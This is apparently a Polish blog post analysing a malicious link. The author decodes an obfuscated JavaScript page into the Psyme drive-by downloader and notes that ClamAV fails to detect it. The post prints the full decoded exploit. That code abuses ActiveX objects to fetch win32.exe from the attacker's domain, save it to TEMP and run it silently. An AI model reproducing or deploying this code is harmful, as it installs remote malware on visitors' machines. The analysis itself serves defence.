Dostałem dzisiaj linka od osoby, o której wiem, że o godzinie, kiedy link ten został do mnie wysłany, nie siedziała przy komputerze, a więc na pewno tego linka mi nie wysłała. No więc do dzieła...
Nowy stary wirus...
Link ten to www.brico-ok.com/ja_woll.php. Co znajduje się pod tym adresem? Pod adresem znajduje się następujący plik:
<html><head> <script language="javascript">var NÚotUwcbW='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; function ylNQjyCnG(EMOpwBlDw) { var tBdBWMfUk='', BNVhoXkÚA, edQLRSsLw2, FquDSdeLi, qrFrvqeTÚ, VXWCoWUGl, bXpkBbvcW, jOAwRfyvk, phwfÚbvus=0; EMOpwBlDw=EMOpwBlDw.replace(/[^A-Za-z0-9\+\/\=]/g, '');do { qrFrvqeTÚ=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); VXWCoWUGl=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); bXpkBbvcW=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); jOAwRfyvk=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); BNVhoXkÚA=(qrFrvqeTÚ << 2) | (VXWCoWUGl >> 4); LwuWKtEKc=((VXWCoWUGl & 15) << 4) | (bXpkBbvcW >> 2); FquDSdeLi=((bXpkBbvcW & 3) << 6) | jOAwRfyvk; tBdBWMfUk=tBdBWMfUk+String.fromCharCode(BNVhoXkÚA); if (bXpkBbvcW!=64) tBdBWMfUk=tBdBWMfUk+String.fromCharCode(LwuWKtEKc); if (jOAwRfyvk!=64) tBdBWMfUk=tBdBWMfUk+String.fromCharCode(FquDSdeLi);} while (phwfÚbvus<EMOpwBlDw.length); eval(tBdBWMfUk);}</script> <body onload="ylNQjyCnG('...dużo śmiecia...')"> </head></html>
W miejscu "dużo śmiecia" znajduje się spory ciąg znaków alfanumerycznych. Cóż, na pierwszy rzut oka widać, że to właśnie tam trzeba szukać tego, o co w tej funkcji chodzi. Tak więc pierwszą rzeczą, którą zrobiłem, było pewne uczytelnienie funkcji dekodującej w powyższym kodzie oznaczonej jako ylNQjyCnG. Po drobnym uczytelnieniu wygląda ona mniej więcej tak:
var NÚotUwcbW='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
function ylNQjyCnG(EMOpwBlDw) { var tBdBWMfUk='', BNVhoXkÚA, edQLRSsLw2, FquDSdeLi, qrFrvqeTÚ, VXWCoWUGl, bXpkBbvcW, jOAwRfyvk, phwfÚbvus=0; EMOpwBlDw=EMOpwBlDw.replace(/[^A-Za-z0-9\+\/\=]/g, ''); do { qrFrvqeTÚ=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); VXWCoWUGl=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); bXpkBbvcW=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); jOAwRfyvk=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); BNVhoXkÚA=(qrFrvqeTÚ << 2) | (VXWCoWUGl >> 4); LwuWKtEKc=((VXWCoWUGl & 15) << 4) | (bXpkBbvcW >> 2); FquDSdeLi=((bXpkBbvcW & 3) << 6) | jOAwRfyvk; tBdBWMfUk=tBdBWMfUk+String.fromCharCode(BNVhoXkÚA); if (bXpkBbvcW!=64) tBdBWMfUk=tBdBWMfUk+String.fromCharCode(LwuWKtEKc); if (jOAwRfyvk!=64) tBdBWMfUk=tBdBWMfUk+String.fromCharCode(FquDSdeLi); } while (phwfÚbvus<EMOpwBlDw.length); eval(tBdBWMfUk);
}
Moją pierwszą myślą było przepisanie tej funkcji w Pythonie, ale potem stwierdziłem, że tak naprawdę mi się nie chce. Właściwie wszystkie linie są niegroźne, aż do linii eval(tBdBWMfUk);, która ewidentnie wykonuje fragment odkodowanego kodu (funkcja eval). Tak więc fragment ten zmieniłem na nieco bardziej "bezpieczną" (całość przeniosłem do WSH) WScript.Echo(tBdBWMfUk);, tak, by na ekran otrzymać to, co jest zakodowane w tym magicznym pliku... Wynik tego był następujący:
document.write(unescape('%3c%68%74%6d%6c%3e%3c%68%65%61%64%3e%3c%74%69%74%6c%65%3e%3c%2f%74%69%74%6c%65%3e')); // masa podobnego śmiecia document.write(unescape(''));
Cóż, wychodzi na to, że nadal najbardziej interesujący mnie kod zakodowany. Tym razem nie chciało mi się skorzystać z wbudowanej w każdy normalny edytor funkcji replace (no co, chwilowe zaćmienie umysłu), i zamiast tego popełniłem pythonowego potworka, który przetworzył powyższe linie zamieniając w nich fragment document.write na WScript.Echo. W rezultacie wykonania tego skryptu otrzymałem wreszcie poszukiwany przeze mnie kod:
<html><head><title></title> <script language="javascript"> function Log(m) { var log = document.createElement('p'); log.innerHTML = m; } function CreateO(o, n) { var r = null; try { eval('r = o.CreateObject(n)') }catch(e){} if (! r) { try { eval('r = o.CreateObject(n, "")') }catch(e){} } if (! r) { try { eval('r = o.CreateObject(n, "", "")') }catch(e){} } if (! r) { try { eval('r = o.GetObject("", n)') }catch(e){} } if (! r) { try { eval('r = o.GetObject(n, "")') }catch(e){} } if (! r) { try { eval('r = o.GetObject(n)') }catch(e){} } return(r); } function Go(a) { Log(' '); var s = CreateO(a, "WScript.Shell"); var o = CreateO(a, "ADODB.Stream"); var e = s.Environment("Process"); Log(' '); var url = "http://www.brico-ok.com/win32.exe"; var xml = null; var bin = e.Item("TEMP") + "windns32.exe"; var dat; try { xml=new XMLHttpRequest(); } catch(e) { try { xml = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xml = new ActiveXObject("MSXML2.ServerXMLHTTP"); } } if (! xml) return(0); Log(' '); xml.open("GET", url, false); xml.send(null); dat = xml.responseBody; Log(' '); o.Type = 1; o.Mode = 3; o.Open(); o.Write(dat); o.SaveToFile(bin, 2); Log(' '); s.Run(bin,0); } function Exploit() { var i = 0; var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}',null); while (t[i]) { var a = null; if (t[i].substring(0,1) == '{') { a = document.createElement("object"); a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1)); } else { try { a = new ActiveXObject(t[i]); } catch(e){} } if (a) { try { var b = CreateO(a, "WScript.Shell"); if (b) { Log(' '); Go(a); return(0); } } catch(e){} } i++; } Log(' '); }
Exploit(); </script>
No i to by było na tyle tego dobrego. Okazuje się, że ten potworek wykorzystuje "starą" dziurę, a całość przypomina do złudzenia jeden z modułów Metasploit.
Całość okazała się być znanym już od dawna śmieciem Psyme. Nowy(?) jest chyba tylko sposób jego ukrycia. Co ciekawe ClamAV nie rozpoznaje ani zakodowanej, ani zdekodowanej formy.